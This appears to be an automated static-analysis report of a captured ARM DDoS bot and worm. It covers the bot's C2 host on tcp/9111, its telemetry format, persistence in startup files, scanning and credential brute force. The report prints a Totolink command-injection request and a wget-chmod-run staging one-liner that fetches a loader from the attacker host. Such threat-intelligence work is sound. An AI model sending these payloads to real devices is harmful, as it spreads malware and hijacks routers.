Honeypot capture
Arm ELF 32-bit LSB executable ddos-bot (34186fba4b5a)
Static analysis of a captured ELF binary recovered the command-and-control channel of a DDoS bot with a self-propagating worm stage; command and control (C2) is the channel an infected machine uses to reach its operator for instructions. A honeypot sensor network captured the binary, 5898424 bytes, built for 32-bit ARM. The sample was loaded as data and never executed, and no recovered endpoint was contacted or resolved. 3 command-and-control endpoints were statically recovered, and a second decompiler backend agreed on all 3; every one names the same host, 185[.]226[.]93[.]242.
The 3 architectures it builds for are led by arm, armv6 and armv7, which reads as the signature of a campaign aimed at routers, cameras and other embedded devices rather than at servers. This hardware is rarely patched, rarely monitored and permanently online. A worm spreads on its own, copying itself to further machines across a network, removable media or exposed services with no user action.
The sample labels itself in .go.buildinfo, which names the module Botnet and the package Botnet/Bot (devel). Those names are the author’s own labels for the sample, recorded as evidence. The analysis places the code functionally in the Mirai/Gafgyt lineage, re-implemented in Go 1.25.0 for armv6, though the profile leaves family and variant null and records no established code lineage to a named family.
The C2 channel on tcp/9111
The bot contacts 185[.]226[.]93[.]242:9111 over a raw TCP socket (offset 0x26748c, ATT&CK T1071). The bot builds the endpoint with net.Dial("tcp", concatstring3("185.226.93.242", ":", "9111")), reading the host header from 0x59b120 and the port header from 0x59b128. tcp/9111 is a non-standard port carrying a bespoke text protocol (0x59b128, T1571).
The channel carries newline-delimited cleartext ASCII, whitespace-tokenised by strings.Fields; the profile records its obfuscation as none, and nothing transforms the stream between the dial and the read loop. Session strings recovered from the binary trace the loop verbatim: Connecting to CNC... (0x365db7), Connected to CNC! (0x364910), and Auto-reconnecting (120s limit)... (0x36c68b), the string recorded for the 120-second forced reconnect.
The bot reports telemetry over the same socket. It reads /proc/stat and /proc/meminfo for CPU and memory and reports them in a STATS|%d|%d|%d|%d|%s\n frame (format string at 0x365dcc, 21 bytes) every 2 seconds (0x269aac, T1082). main.GetStats at 0x26a4d8 was not decompiled field-by-field, so the analysis did not read the 5 STATS integer fields, and a replayed client emits plausible integers where true host telemetry would go.
Persistence and propagation before the first dial
The C2 profile records main.AutoStart as the first call in main.main (0x267398, ATT&CK T1037). It appends a launcher to 6 Linux startup files — /etc/rc.local, /etc/rc.d/rc.local, /etc/init.d/boot.local, /etc/profile, /root/.bashrc, and a non-root fallback path — using os.OpenFile(O_WRONLY|O_APPEND, 0644) at 0x26a198 followed by os.(*File).Write at 0x26a240, guarded against re-insertion by stringslite.Index at 0x26a168. The analysis did not recover the exact text appended to each file, because the recovered HLIL never pairs the Go string-length register to its literal-pool pointer. A 4-byte string sysd sits near AutoStart, which references it, and is a candidate masquerading name for the persisted binary; the profile records it at confidence 0.50 and leaves the masquerade role unconfirmed.
The bot spawns its scanner, main.StartScanner (0x26ad28), via runtime.newproc at 0x267400 before it dials the C2. It scans random public IPv4 addresses, excluding RFC1918 ranges, for HTTP-administered devices at 100 ms between targets (0x269cf0, T1046), then brute-forces device admin panels with LZSS-compressed credential lists fetched from hxxp[://]185[.]226[.]93[.]242/config.dat, including a captcha-solving path (0x26b1cc, T1110). Against Boa-based router firmware of the Totolink family it uses a command-injection path — POST /boafrm/formSysCmd with submit-url=%2Fsyscmd.htm&sysCmdselect=5&sysCmdselects=0&save_apply=Run+Command&sysCmd=[cmd] (0x378231, T1190). It then injects a shell one-liner into the victim to stage the next binary (0x371cae, T1059.004):
wget [loader] -O bins.sh; chmod +x bins.sh; ./bins.sh
The victim retrieves that second-stage loader from hxxp[://]185[.]226[.]93[.]242/bins.sh (0x364239, T1105), and the loader selects between 2 architecture-specific payloads. Execution requires only user privilege, although /root/.bashrc persistence and the raw-socket flood methods ppsraw and ping need root; where the bot does not have root, it persists through the non-root fallback path instead.
Indicators beyond the profile
A byte sweep of the file found 18 indicators the recovered profile does not list, among them the network indicators 1[.]2[.]1[.]1, 1[.]2[.]2[.]1, 1[.]3[.]1[.]1, 4[.]32[.]5[.]4, 5[.]4[.]112[.]5 and 5[.]4[.]62[.]5. A separate deep-static finding records a candidate embedded payload, a zip archive, at offset 0xcd4dc.
The C2 host 185[.]226[.]93[.]242 appears in 3 other analysed captures, so this sample is part of a wider campaign. Whether that infrastructure is still live was not determined.
Decoding a captured session
The analysis documented the wire format completely enough that c2_dissect.py decodes a recorded session in both directions with no key, and 3 test vectors replay through the dissector. c2_client.py reproduces the bot’s beacon, and c2_emulator.py provides a fake CNC. The findings attach the following warning to the reproduction tooling:
The
reproduction/tools are live-C2 code. They touch the network only with an explicit--target/--listen. Run them only in an isolated lane.
Blocking the C2 host
The findings record that propagation runs independently of C2 reachability, so blocking the C2 does not stop the worm. The loader and the credential list come over tcp/80 from the same host, which reads as a case for blocking the host itself rather than tcp/9111 alone. A machine that beaconed should be treated as attacker-controlled, since it serves as both a DDoS source and a scanning and propagation node.
The payload worth carving separately
The findings list the zip archive at 0xcd4dc as worth carving separately, and main.main.func2 (0x26e42c) as an open question.
- Family
- unclassified
- First seen
- September 28, 2026
- Vector
- Runs as a ddos-bot/worm; the entry vector is not established by static analysis
- Format
- 5760 KB arm ELF 32-bit LSB executable
- VirusTotal
- Not on VirusTotal
- Tags
- arm · ddos-bot · elf · raw_tcp · worm
- Sample
- By request. Email [email protected]
SHA-256
-
34186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839fas captured
Analysis performed using an automatic malware analysis pipeline using Binary Ninja